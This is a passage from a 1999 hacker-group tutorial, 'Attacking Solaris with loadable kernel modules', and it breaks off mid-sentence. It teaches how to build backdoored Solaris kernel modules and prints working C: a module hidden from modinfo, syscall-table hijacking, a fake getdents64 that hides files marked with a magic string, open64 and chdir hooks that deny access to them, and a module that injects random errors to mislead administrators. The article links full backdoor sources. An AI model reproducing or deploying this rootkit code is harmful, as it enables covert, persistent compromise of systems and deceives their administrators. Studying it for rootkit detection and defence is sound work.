12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025 |
- <!doctype html public "-//w3c//dtd html 4.0 transitional//en">
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
- <meta name="GENERATOR" content="Mozilla/4.6 [en] (X11; I; SunOS 5.7 i86pc) [Netscape]">
- </head>
- <body text="#000000" bgcolor="#FFFFFF" link="#0000EF" vlink="#51188E" alink="#FF0000">
-
- <br>
- <center><table COLS=1 WIDTH="100%" NOSAVE >
- <tr NOSAVE>
- <td NOSAVE>
- <center><font size=+3>Solaris Loadable Kernel Modules</font>
- <br><i>"Attacking Solaris with loadable kernel modules" - </i>Version 1.0
- (c) 1999
- <p>Author: Plasmoid <<a href="mailto:plasmoid@pimmel.com">plasmoid@pimmel.com</a>>
- / THC
- <br>Sources: <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
- (flkm.c, anm.c, sitf0.1.c, sitf02.c)
- <br>The Hacker's Choice Website: <a href="http://www.thc.org/">http://www.thc.org/</a></center>
- <p><br>
- <br>
- <br>
- <br>
- <br>
- <p><font size=+1>Content</font>
- <ol>1 Introduction
- <br>2 (Un)Loading of kernel modules
- <br>3 Basic structure of kernel modules under Solaris
- <ol>3.1 Standard headers and structs
- <br>3.2 Hiding the module
- <br>3.3 _init(), _fini() and _info() calls
- <br>3.4 Compiling and linking modules
- <br>---> Module: flkm.c</ol>
- 4 Redirecting syscalls and managing memory
- <ol>4.1 Syscalls under Solaris
- <br>4.2 Generating errno messages
- <br>4.3 Allocating kernel memory
- <br>---> Module: anm.c</ol>
- 5 Implementing the common backdoors
- <ol>5.1 Hiding files from getdents64()
- <br>5.2 Hiding directories and file content
- <br>5.3 Generating a remote switch
- <br>5.4 Hiding processes (proc file system approach)
- <br>---> Module: sitf0.1.c
- <br>5.5 Redirecting an execve() call
- <br>5.6 Hiding processes (structured proc approach)
- <br>---> Module: sitf0.2.c</ol>
- 6 Future plans
- <br>7 Closing words</ol>
- <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
- <br>
- <p><font size=+1>1 Introduction</font>
- <blockquote>Loadable kernel modules represent an important part of the
- kernel architecture. They provide an interface to hardware devices and
- data within the kernel memory. Most Unix systems enforce the usage of loadable
- kernel modules in order to offer maximum interaction with the peripherials
- and the kernel.
- <br>Due to those features, kernel modules have gained the interest of intruders,
- since they affect the operating system at the basic level and guarantee
- an efficient and hard to detect way to manipulate the system. In the past
- years loadable kernel modules including backdoors have been published for
- Unix systems such as Linux and FreeBSD. This article describes the technologies
- used to develop backdoored modules for the operating system Solaris 2.7
- (Sparc/Intel).
- <br>The modules conributed with this article have not been tested on Solaris
- 2.6 (Sparc), if you are interested
- in testing these modules, please contact <a href="mailto:plasmoid@pimmel.com">me</a>.
- <br>Eventhough most sources listed in this article haven been tested on
- several computers running Solaris 2.7 (Ultra Sparc/Sparc/x86) and
- Solaris 2.6 (Ultra Sparc), they might crash or even destroy
- your system, therefore use all modules from the <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
- tarball with care. The modules have not been tested using Sun's C Compiler,
- instead we used the free Gnu C Compiler - available from <a href="http://www.sunfreeware.com/">sunfreeware.com</a>.
- <br>This article and its sources are designed for educational puroses only,
- I strongly advise you not to use any modules provided with this article
- on systems you do not own or aren't allowed to manipulate.</blockquote>
- <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
- <br>
- <p><font size=+1>2 (Un)Loading of kernel modules</font>
- <blockquote>Most parts of Solaris' functionality are realized using kernel
- modules (e.g. ip/tcp, scsi, ufs), tools from other vendors or authors use
- this mechanism too (e.g. ipf, pppd, oss), you can get a list of all loaded
- and (in)active modules by using the command <tt>/usr/sbin/modinfo.</tt>
- <blockquote><tt># modinfo</tt>
- <br><tt> Id Loadaddr Size Info Rev Module Name</tt>
- <br><tt> 4 fe8c6000 313e 1 1
- specfs (filesystem for specfs)</tt>
- <br><tt> 6 fe8ca414 2258 1 1
- TS (time sharing sched class)</tt>
- <br><tt> 7 fe8cc228 4a2 -
- 1 TS_DPTBL (Time sharing dispatch table)</tt>
- <br><tt> 8 fe8cc27c 194 -
- 1 pci_autoconfig (PCI BIOS interface)</tt>
- <br><tt>#</tt></blockquote>
- <tt>Id</tt> is the module-id, <tt>Loadaddr </tt>is the starting text address
- in hexadecimal, <tt>Size</tt> is the size of text, data, and bss in hexadecimal
- bytes, <tt>Info</tt> is module specific information, <tt>Rev</tt> is the
- revision of the loadable modules system, and<tt> Module Name</tt> is the
- filename and description of the module.
- <br>Device driver or pseudo device driver modules include an <tt>Info</tt>
- number, modules which do not communicate with a device do not include this
- information. These modules are declared as "misc" (<tt>&mod_miscops</tt>)
- modules. Since we are developing a kernel module for an attacking approach,
- we will later generate such a miscellaneous module.
- <p>In order to load or unload kernel modules, you can use the two commands
- <tt>/usr/sbin/modload
- </tt>and<tt>
- /usr/sbin/modunload. </tt>Modload's command line is the name of a module
- and modunload's command line "<tt>-i ID</tt>" the <tt>Id </tt>of a loaded
- module (see modinfo above.).
- <blockquote><tt># modinfo -i 125</tt>
- <br><tt> Id Loadaddr Size Info Rev Module Name</tt>
- <br><tt>125 fe95959c 125 - 1
- flkm (First Loadable Kernel Module)</tt>
- <br><tt># modunload -i 125</tt></blockquote>
- Solaris includes a lot of good man pages dealing with kernel modules, (un)loading,
- information and even programming. You should take a look at those, but
- don't get confused the example code within "man _init" compiles but does
- not load. If you have access to Solaris' AnswerBook2 take a look at the
- sections describing the development of device drivers.</blockquote>
- <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
- <br>
- <p><font size=+1>3 Basic structure of kernel modules under
- Solaris</font>
- <blockquote>Kernel modules under Solaris need a lot of definied variables
- in order to get loaded into the system, this is a major difference to Linux
- kernel modules that can easily be created by just using an <tt>init_module()
- </tt>and
- <tt>cleanup_module()</tt>
- call. Take a look at pragmatic's articles about kernel modules for <a href="LKM_HACKING.html">Linux</a>
- and <a href="bsdkern.html">FreeBSD</a>.</blockquote>
- <font size=+1>3.1 Standard headers and structs</font>
- <blockquote>Eventhough we don't want to develop a device driver module,
- we have to include the DDI, SunDDI and the modctl headers that provide
- us with structs as <tt>modlinkage</tt> and <tt>mod_ops</tt>. The first
- lines of a module look like this:
- <blockquote><tt>#include <sys/ddi.h></tt>
- <br><tt>#include <sys/sunddi.h></tt>
- <p><tt>/*</tt>
- <br><tt> * This is the loadable module wrapper.</tt>
- <br><tt> */</tt>
- <br><tt>#include <sys/modctl.h></tt>
- <p><tt>extern struct mod_ops mod_miscops;</tt>
- <p><tt>/*</tt>
- <br><tt> * Module linkage information for the kernel.</tt>
- <br><tt> */</tt>
- <br><tt>static struct modlmisc modlmisc = {</tt>
- <br><tt> &mod_miscops,</tt>
- <br><tt> "First Loadable Kernel Module",</tt>
- <br><tt>};</tt>
- <p><tt>static struct modlinkage modlinkage = {</tt>
- <br><tt> MODREV_1,</tt>
- <br><tt> (void *)&modlmisc,</tt>
- <br><tt> NULL</tt>
- <br><tt>};</tt></blockquote>
- As you can see, we include some external structs into the module and define
- the name of the kernel module inside the <tt>modlmisc</tt> struct. The
- <tt>modlinkage</tt>
- struct references <tt>modlmisc</tt> and tells the kernel that this is not
- a device driver module and that no info flag is displayed by <tt>modinfo</tt>.
- If you want to go into the details of these structs and maybe develop device
- or pseudo device driver module, take a look at the following man pages:
- modldrv(9S), modlinkage(9S) and modlstrmod(9S). If you just want to understand
- the backdoored modules in this article, simply read on.</blockquote>
- <font size=+1>3.2 Hiding the module</font>
- <blockquote>If we change the name of the kernel module to an empty string
- ("") in the <tt>modlmisc</tt> struct, <tt>modinfo</tt> will not display
- the module, eventhough it is loaded and its <tt>Id</tt> is reserved. This
- is a useful feature for hiding the module and the module can still be unloaded
- if you know its Id. Grabbing this <tt>Id</tt> is simple, if you take a
- look at the modules <tt>Id</tt>s before loading the module and later after
- some other modules have been loaded.
- <blockquote><tt># modinfo</tt>
- <br><tt> Id Loadaddr Size Info Rev Module Name</tt>
- <br>[...]
- <br><tt>122 fe9748e8 e08 13 1
- ptem (pty hardware emulator)</tt>
- <br><tt>123 fe983fd8 1c0 14 1
- redirmod (redirection module)</tt>
- <br><tt>124 fe9f60a4 cfc 15 1
- bufmod (streams buffer mod)</tt>
- <br><tt># modload flkm</tt>
- <br>
- <p><tt># modinfo</tt>
- <br><tt> Id Loadaddr Size Info Rev Module Name</tt>
- <br>[...]
- <br><tt>122 fe9748e8 e08 13 1
- ptem (pty hardware emulator)</tt>
- <br><tt>123 fe983fd8 1c0 14 1
- redirmod (redirection module)</tt>
- <br><tt>124 fe9f60a4 cfc 15 1
- bufmod (streams buffer mod)</tt>
- <br><tt>126 fe9f8e5c 8e3c 13 1 pcfs
- (filesystem for PC)</tt>
- <br><tt>127 fea018d4 19e1 - 1
- diaudio (Generic Audio)</tt>
- <br><tt>128 fe94aed0 5e3 72 1
- ksyms (kernel symbols driver)</tt>
- <br> </blockquote>
- </blockquote>
- <blockquote>As you can see the <tt>Id 125</tt> is obviously not reserved
- and we loaded our kernel module into the memory with no name string in
- the <tt>modlmisc</tt> struct. If we want to unload it now, we can easily
- do this by unloading the <tt>Id 125</tt>. Those unreserved <tt>Id</tt>s
- can be found in a <tt>modinfo</tt> listing at different places, but due
- to the fact that <tt>modunload</tt> won't return an error if you try to
- unload a non existing module, nobody can detect our module by using <tt>modinfo</tt>
- or <tt>modunload</tt>. The second version of this article will include
- mechanisms to completely protect a module from being listed and unloaded.
- This can only be done by patching the Solaris module ksyms that lists and
- manages all kernel symbols. Even if this protection leaving the module's
- name blank is weak, it will fit your needs, if the system administrator
- is not a real system programmer.</blockquote>
- <font size=+1>3.3 _init(), _fini() and _info() calls</font>
- <blockquote>A kernel module under Solaris must include at least the following
- three functions: <tt>_init()</tt>, <tt>_fini()</tt> and <tt>_info()</tt>.
- <tt>_init()
- </tt>initializes
- a loadable module, it is called before any other routine in a loadable
- module. Within an <tt>_init()</tt> call you need to call another function
- called <tt>mod_install()</tt> that takes the <tt>modlinkage</tt> struct
- as an argument. <tt>_init()</tt> returns the value returned by mod_install().
- The returned value should be interpreted in order to catch errors while
- loading the module.
- <blockquote><tt>int _init(void)</tt>
- <br><tt>{</tt>
- <br><tt> int i;</tt>
- <p><tt> if ((i = mod_install(&modlinkage)) != 0)</tt>
- <br><tt> cmn_err(CE_NOTE,"Could
- not install module\n");</tt>
- <br><tt> else</tt>
- <br><tt> cmn_err(CE_NOTE,"flkm:
- successfully installed");</tt>
- <p><tt> return i;</tt>
- <br><tt>}</tt></blockquote>
- The <tt>_info()</tt> function returns information about a loadable module,
- within this function the call <tt>mod_info() </tt>has to be made. If we
- use an empty name in the <tt>modinfo</tt> struct <tt>mod_info()</tt> will
- return no information to <tt>/usr/sbin/modinfo</tt>.
- <blockquote><tt>int _info(struct modinfo *modinfop)</tt>
- <br><tt>{</tt>
- <br><tt> return (mod_info(&modlinkage, modinfop));</tt>
- <br><tt>}</tt></blockquote>
- <tt>_fini()</tt> prepares a loadable module for unloading. It is called
- when the system wants to unload a module. Within <tt>_fini() </tt>a call
- to<tt> mod_remove()</tt> has to be placed. It is also wise to catch the
- return values in order to report errors while unloading the module.
- <blockquote><tt>int _fini(void)</tt>
- <br><tt>{</tt>
- <br><tt> int i;</tt>
- <p><tt> if ((i = mod_remove(&modlinkage)) != 0)</tt>
- <br><tt> cmn_err(CE_NOTE,"Could
- not remove module\n");</tt>
- <br><tt> else</tt>
- <br><tt> cmn_err(CE_NOTE,"flkm:
- successfully removed");</tt>
- <p><tt> return i;</tt>
- <br><tt>}</tt></blockquote>
- A good documentation about these calls can be found in the following Solaris
- man pages: <tt>_info(9E)</tt> and <tt>mod_install(9F)</tt>. If you are
- calling <tt>cmn_err()</tt> with <tt>CE_NOTE</tt> as level from a running
- module the output will be printed to your syslogd as a notice. <tt>cmn_err()</tt>
- is function to output information from kernel memory, it can also be used
- to set run levels if you are debugging your module.</blockquote>
- <font size=+1>3.4 Compiling and linking modules</font>
- <blockquote>Compiling a module is very simple, all you need to set are
- some definitions that tell the included code this will be a kernel module
- and not a normal executable. You should always link your module's object
- file with the "-r" option otherwise the module will not load, because
- the kernel module linker will not be able to link the module.
- <blockquote><tt>gcc -D_KERNEL -DSVR4 -DSOL2 -O2 -c flkm.c</tt>
- <br><tt>ld -o flkm -r flkm.o</tt></blockquote>
- The Solaris kernel does not include as many standard C function as the
- Linux kernel, if you want to use some of those standard libC functions,
- extract them from the libc.a archive in /lib and link them to your module
- using the <tt>ar</tt> command. If you are one of those lucky guys owning
- the Solaris 2.7 source and knowing where to find what you are looking for
- inside the weird source of Solaris, include the original source of the
- extracted objects.
- <blockquote><tt>ar -x /lib/libc.a memmove.o memcpy.o strstr.o</tt>
- <br><tt>ld -o flkm -r flkm.o memmove.o memcpy.o strstr.o</tt></blockquote>
- In my examples I included a switch called <tt>DEBUG</tt>, this switch will
- activate a lot of debug outputs, if you are one of those nasty hackers
- don't forget to undefine <tt>DEBUG</tt> in the code or configure the Makefile.
- <tt>DEBUG
- </tt>is
- a very common definition if working with kernel modules, there are some
- kernel functions that might help you debugging, e.g. <tt>ASSERT()</tt>.</blockquote>
- <font size=+1>--> Module: flkm.c</font>
- <blockquote>The Module flkm.c (First Loadable Kernel Module) from the package
- <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
- demonstrates the techniques described in sections 3.1-3.4 and represents
- an empty working module that should be easily loadable into the kernel.</blockquote>
- <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
- <br>
- <p><font size=+2>4 </font><font size=+1>Redirecting syscalls
- and managing memory</font>
- <blockquote>Redirecting syscalls is one of the important things if you
- write backdoored kernel modules, instead of developing your own functions,
- you redirect the common syscalls to your fake syscalls that will do what
- ever you want. If you want to get an idea of what can be done using faked
- syscalls take a look at pragmatic's article at <a href="http://www.thc.org/">www.thc.org</a>. </blockquote>
- <font size=+2>4.1 </font><font size=+1>Syscalls under Solaris</font>
- <blockquote>Syscalls under Solaris are stored in an array <tt>sysent[]
- </tt>each
- entry is a structure that hold information about a syscall. The values
- for all syscalls can be found in the file <tt>/usr/include/sys/syscall.h</tt>.
- If you take a closer look at the list of syscalls, you will recognize that
- there are some major differences to the Linux syscall header file. So be
- careful if you try to port a Linux kernel module to Solaris.
- <br>The syscalls
- <tt>open()</tt>,
- <tt>creat()</tt>, etc are not used for
- filesystem functions, instead the following calls are used
- <tt>open64()</tt>,
- <tt>creat64()</tt>,
- etc. Before you try to redirect a syscall under Solaris use the tool <tt>/usr/bin/truss</tt>
- to trace the syscalls of the programm that uses your syscalls, e.g. <tt>ps</tt>
- uses the <tt>open() </tt>call to check the files inside the proc tree while
- <tt>cat</tt>
- uses the <tt>open64()
- </tt>to open a file from the filesystems even if
- it is within the proc tree. Let's look at some example code:
- <blockquote><tt>int (*oldexecve) (const char *, const char *[], const char
- *[]);</tt>
- <br><tt>int (*oldopen64) (const char *path, int oflag, mode_t mode);</tt>
- <br><tt>int (*oldread) (int fildes, void *buf, size_t nbyte);</tt>
- <br><tt>int (*oldcreat64) (const char *path, mode_t mode);</tt>
- <br>[...]
- <p><tt>int newcreat64(const char *path, mode_t mode) </tt>
- <br><tt>{</tt>
- <br>[...]
- <p><tt>int _init(void)</tt>
- <br><tt>{</tt>
- <br><tt> int i;</tt>
- <p><tt> if ((i = mod_install(&modlinkage)) != 0)</tt>
- <br><tt> cmn_err(CE_NOTE,"Could
- not install module\n");</tt>
- <br><tt>#ifdef DEBUG</tt>
- <br><tt> else</tt>
- <br><tt> cmn_err(CE_NOTE,"anm:
- successfully installed");</tt>
- <br><tt>#endif</tt>
- <p><tt> oldexecve = (void *) sysent[SYS_execve].sy_callc;</tt>
- <br><tt> oldopen64 = (void *) sysent[SYS_open64].sy_callc;</tt>
- <br><tt> oldcreat64 = (void *) sysent[SYS_creat64].sy_callc;</tt>
- <br><tt> oldread = (void *) sysent[SYS_read].sy_callc;</tt>
- <p><tt> sysent[SYS_execve].sy_callc = (void *) newexecve;</tt>
- <br><tt> sysent[SYS_open64].sy_callc = (void *) newopen64;</tt>
- <br><tt> sysent[SYS_creat64].sy_callc = (void *) newcreat64;</tt>
- <br><tt> sysent[SYS_read].sy_callc = (void *) newread;</tt>
- <p><tt> return i;</tt>
- <br><tt>}</tt></blockquote>
- This is an _init() call described in 3.3, after initializing the module
- we copy the pointers of the old syscalls that are stored in the member
- <tt>.sy_callc
- </tt>to
- some pointers we defined at the top of our module. This is done exactly
- as with all Linux kernel modules.
- <br>After we have saved the old pointers we copy pointers of our new syscalls
- (in this case: <tt>int newcreat64(const char *path,mode_t mode</tt>) to
- the pointers in the <tt>sysent[] </tt>array<tt>.</tt></blockquote>
- <font size=+1>4.2 Generating errno messages</font>
- <blockquote>I have seen some loadable kernel modules that generate error
- message a way that wont work under Solaris, the so called error numbers
- listed in <tt>/usr/include/sys/errno.h</tt> should not be returned by function
- using the following code:
- <blockquote><tt>return -ENOENT;</tt></blockquote>
- Eventhough this code will work since a negative value is returned it does
- not tell Solaris what kind of error appeared, instead the following code
- using the syscall <tt>set_errno()</tt> is the correct solution.
- <blockquote><tt>set_errno(ENOENT);</tt>
- <br><tt>return -1;</tt></blockquote>
- You really should tell your operating system what is going wrong even if
- you produce a fake error message. </blockquote>
- <font size=+1>4.3 Allocating kernel memory</font>
- <blockquote>When working inside the kernel, you cannot allocate memory
- using the function <tt>alloc()</tt> or <tt>malloc()</tt> due to the fact
- that the kernel memory is strictly seperated from the user memory. Solaris
- provides to function for allocating and freeing kernel memory.
- <blockquote><tt>name = (char *) kmem_alloc(size, KM_SLEEP);</tt></blockquote>
- <tt>kmem_alloc()</tt> allocates <tt>size</tt> bytes of kernel memory and
- returns a pointer to the allocated memory. The allocated memory is at least
- double-word aligned, so it can hold any C data structure. No greater alignment
- can be assumed. The second parameter determines whether the caller can
- sleep for memory. <tt>KM_SLEEP</tt> allocations may sleep but are guaranteed
- to succeed. <tt>KM_NOSLEEP</tt> allocations are guaranteed not to sleep
- but may fail (return <tt>NULL</tt>) if no memory is currently
- available. <tt>KM_NOSLEEP</tt> using <tt>kmem_alloc()</tt> should only be
- used from interrupt context, it should not be called otherwise.
- The initial contents of memory allocated using <tt>kmem_alloc()
- </tt>are
- random garbage.
- <br>The allocated kernel memory has to be freed using the function <tt>kmem_free(size)</tt>,
- while size is the size of the allocated memory. Be careful, if you are
- freeing more memory as you allocated major problems will occur, since unwanted
- parts of the kernel get freed.
- <p>As I started coding this module I didn't care about the transfer between
- user and kernel memory. On Solaris 2.7 (x86) a <tt>memcpy()</tt> successfully
- solved this task and there was no need for special commands. But on Solaris
- (Sparc) this lousy way of transfering data didn't work at all. For a proper
- transfer use the functions<tt> copyin() </tt>and<tt> copyout()</tt> that
- provide a way to transfer data from kernel memory (device module memory)
- and user memory.
- <br>If you want to copy null-terminated strings from userspace to kernel
- memory use the command <tt>copyinstr()</tt>, that has the following
- prototype
- <tt>copyinstr(char *src, char *dst, size_t length, size_t size)</tt>. <tt>length</tt>
- describes how many bytes to read while <tt>size</tt> is the value of actually
- read bytes.
- <br>A complete description of these functions can be found in the following
- Solaris man pages: kmem_alloc(9F), copyin(9F) and copyout(9F). Here is
- a small example:
- <blockquote><tt> name = (char *) kmem_alloc(256, KM_SLEEP);</tt>
- <br><tt> copyin(filename, name, 256);</tt>
- <br><tt> if (!strcmp(name, (char *) oldcmd)) {</tt>
- <br><tt> copyout((char *) newcmd,
- (char *) filename, strlen(newcmd) + 1);</tt>
- <br><tt> cmn_err(CE_NOTE,"sitf:
- executing %s instead of %s", newcmd, name);</tt>
- <br><tt> }</tt></blockquote>
- If you don't need to allocate kernel memory, e.g. if you are just comparing
- some values, you might use also the <tt>memcpy()</tt> function, but be
- adviced memcpy doesnot work on Ultra Sparc. Use <tt>copyinstr()</tt> in
- order to copy null terminated strings to kernel memory where you can compare
- them. copyinstr(char *src, char *dst, size_t n, size_t n)</blockquote>
- <font size=+1>--> Module: anm.c</font>
- <blockquote>As an example I included the module anm.c (Administrator's
- NightMare) from the package
- <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>,
- this is not a very intelligent module - instead of backdooring the system,
- this module randomly generates system errors on the following syscalls:
- <tt>execve(),open64()</tt>
- and <tt>read()</tt>. The period of the random errors can be set with these
- three variables:
- <blockquote><tt>int open_rate = 200;</tt>
- <br><tt>int read_rate = 8000;</tt>
- <br><tt>int exec_rate = 400;</tt></blockquote>
- The values have been tested on a client station. The system behaves quite
- normal, but from time to time a small error appears that won't interest
- an admin. The system will just look like one of those badly configured
- cheap Solaris (but actually it isn't).
- <br>To activate or deactivate the errors I developed a switching mechanism,
- I will explain the technique later in 5.3, first of all here is the usage
- from the command line when the module is loaded.
- <blockquote><tt>touch my_stupid_key</tt></blockquote>
- This command enables or disables the functions of the anm.c module, if
- you used the correct key that has been defined inside the module you will
- get an error message instead of a touched "my_stupid_key" file. </blockquote>
- <hr SIZE=1 NOSHADE WIDTH="100%">
- <br>
- <p><font size=+1>5 Implementing the common backdoors</font>
- <blockquote>Most ideas of the backdoors I implemented have been taken from
- plaguez's itf.c module and the article written by pragmatic (see 7 References),
- some of them could be implemented as they are, other routines had to be
- rewritten and some had to be coded from scratch.
- <br>If you take a look at the modules sitf0.1.c and sitf0.2.c from the
- package <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
- you will find backdoors that are not described in this article, these function
- could be ported without any problem from Linux or FreeBSD modules. I think
- they have been documented in several other articles already.</blockquote>
- <font size=+1>5.1 Hiding files from getdents64()</font>
- <blockquote>If you trace through commands as <tt>ls</tt> or <tt>du</tt>
- you will find out that Solaris systems use the <tt>getdents64()</tt> syscall
- to retrieve information about the content of a directory therefore I took
- a closer look at plaguez's implementation of a faked <tt>getdents() </tt>syscall
- hiding files from being listed.
- <br>While playing with his code I discovered that getting the entries from
- <tt>getdents64()</tt>
- is easier as on Linux, it is not necessary to care about user- and kernelsparce
- (well, I know this isn't a proper approach, but who cares), I simply modified
- his code to work with <tt>getdents64()</tt> and the <tt>dirent64</tt> entries
- used <tt>copyin()</tt> and <tt>copyout()</tt> (see 4.3 Allocation kernel
- memory). The
- <tt>getdents64()</tt> syscall and its structs are documented
- inside the Solaris man pages, take a look at the following pages: getdent(2),
- dirent(4), but keep in mind that you have to use the 64bit variants, just
- read the header file
- <tt>/usr/include/sys/dirent.h</tt> and you will find
- what you are looking for. A final version of a faked <tt>getdents64() </tt>syscall
- looks like that:
- <blockquote><tt>#define MAGIC "CHT.THC"</tt>
- <br><tt>char magic[] = MAGIC;</tt>
- <p>[...]
- <p><tt>int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte)</tt>
- <br><tt>{</tt>
- <br><tt> int ret, oldret, i, reclen;</tt>
- <br><tt> struct dirent64 *buf2, *buf3; </tt>
- <p><tt> oldret = (*oldgetdents64) (fildes, buf, nbyte);</tt>
- <br><tt> ret = oldret;</tt>
- <p><tt> if (ret > 0) { </tt>
- <br><tt> buf2 = (struct dirent64
- *) kmem_alloc(ret, KM_SLEEP);</tt>
- <br><tt> copyin((char *) buf,
- (char *) buf2, ret);</tt>
- <br><tt> buf3 = buf2; </tt>
- <p><tt> i = ret;</tt>
- <br><tt> while (i > 0) {</tt>
- <br><tt>
- reclen = buf3->d_reclen;</tt>
- <br><tt>
- i -= reclen;</tt>
- <p><tt>
- if (strstr((char *) &(buf3->d_name), (char *) &magic) != NULL)
- {</tt>
- <br><tt>#ifdef DEBUG </tt>
- <br><tt>
- cmn_err(CE_NOTE,"sitf: hiding file (%s)", buf3->d_name);</tt>
- <br><tt>#endif</tt>
- <br><tt>
- if (i != 0)</tt>
- <br><tt>
- memmove(buf3, (char *) buf3 + buf3->d_reclen, i);</tt>
- <br><tt>
- else</tt>
- <br><tt>
- buf3->d_off = 1024;</tt>
- <br><tt>
- ret -= reclen;</tt>
- <br><tt>
- } </tt>
- <br><tt>
- /* </tt>
- <br><tt>
- * most people implement this little check into their modules,</tt>
- <br><tt>
- * don't ask me, if some of the solaris fs driver modules really</tt>
- <br><tt>
- * generate a d_reclen=0.</tt>
- <br><tt>
- * correction: this code is needed for solaris sparc at least,</tt>
- <br><tt>
- * otherwise you`ll find yourself back in a world of crashes.</tt>
- <br><tt>
- */</tt>
- <br><tt>
- if (buf3->d_reclen < 1) {</tt>
- <br><tt>
- ret -= i;</tt>
- <br><tt>
- i = 0;</tt>
- <br><tt>
- } </tt>
- <br><tt>
- if (i != 0)</tt>
- <br><tt>
- buf3 = (struct dirent64 *) ((char *) buf3 + buf3->d_reclen);</tt>
- <br><tt> }</tt>
- <br><tt> copyout((char *) buf2,
- (char *) buf, ret);</tt>
- <br><tt> kmem_free(buf2, oldret);</tt>
- <br><tt> }</tt>
- <br><tt> return ret;</tt>
- <br><tt>}</tt></blockquote>
- Understanding this code is not that easy, since it works with the weird
- dirent structure, but the <tt>dirent</tt> struct is also present in Linux
- and can be understand reading the man pages and the specific headers, I
- won't go into more details.
- <br>There is still a minor problem with this piece of code, when you include
- the magic string more than once in to your filename the module won't act
- correctly, it looks like the <tt>strstr()</tt> function causes problems
- while running inside the kernel. I plan to fix this bug in version 2.0
- of the article / module, until then include the magic string only once
- in your filenames.</blockquote>
- <font size=+1>5.2 Hiding directories and file content</font>
- <blockquote>This idea has been taken from pragamatic's Linux kernel module
- article. If files are hidden from being listed as described above they still
- can be accessed by everybody and directories can be entered by everybody
- too. I used a switch (see 5.3 Generating a remote switch) to toggle these
- features On and Off. So if I don't want anybody to access the content of
- my hidden files or anybody to enter my hidden directories, I would turn
- the switch On.
- <br>The syscall open64() is used to open files for reading and writing
- under Solaris (not inside the /proc), if the filename of the file to be
- opened contains the magic word and the security flag is set, the faked
- syscall will return the error message: "No such file or directory".
- <blockquote><tt>#define MAGIC "CHT.THC" </tt>
- <br><tt>char magic[] = MAGIC;</tt>
- <br><tt>int security = FALSE;</tt>
- <p>[...]
- <p><tt>int newopen64(const char *path, int oflag, mode_t mode)</tt>
- <br><tt>{</tt>
- <br><tt> int ret;</tt>
- <br><tt> int len;</tt>
- <br><tt> char namebuf[1028];</tt><tt></tt>
- <p><tt> ret = oldopen64(path, oflag, mode);</tt><tt></tt>
- <p><tt> if (ret >= 0) {</tt>
- <br><tt> copyinstr(path, namebuf,
- 1028, (size_t *) & len);</tt><tt></tt>
- <p><tt> if (security &&
- strstr(namebuf, (char *) &magic) != NULL) {</tt>
- <br><tt>#ifdef DEBUG</tt>
- <br><tt>
- cmn_err(CE_NOTE, "sitf: hiding content of file (%s)", namebuf);</tt>
- <br><tt>#endif</tt>
- <br><tt>
- set_errno(ENOENT);</tt>
- <br><tt>
- return -1;</tt>
- <br><tt> }</tt>
- <br><tt> return ret;</tt>
- <br><tt> }</tt>
- <br><tt>}</tt>
- <br><tt></tt> </blockquote>
- The syscall chdir() is used to change the current directory, if someone
- tries to enter a directory containing the magic string and the security
- flag is set, the faked syscall will return the error message: "No such
- file or directory".
- <blockquote><tt>int newchdir(const char *path)</tt>
- <br><tt>{</tt>
- <br><tt> char namebuf[1028];</tt>
- <br><tt> int len;</tt><tt></tt>
- <p><tt> copyinstr(path, namebuf, 1028, (size_t *) &
- len);</tt><tt></tt>
- <p><tt> if (security && strstr(namebuf, (char
- *) &magic) != NULL) {</tt>
- <br><tt>#ifdef DEBUG</tt>
- <br><tt> cmn_err(CE_NOTE, "sitf:
- hiding directory (%s)", namebuf);</tt>
- <br><tt>#endif</tt>
- <br><tt> set_errno(ENOENT);</tt>
- <br><tt> return -1;</tt>
- <br><tt> } else</tt>
- <br><tt> return oldchdir(path);</tt>
- <br><tt>}</tt>
- <br><tt></tt> </blockquote>
- These two functions combined with the faked <tt>getdents64()</tt>
- call protect all files and directories you want to hide including their
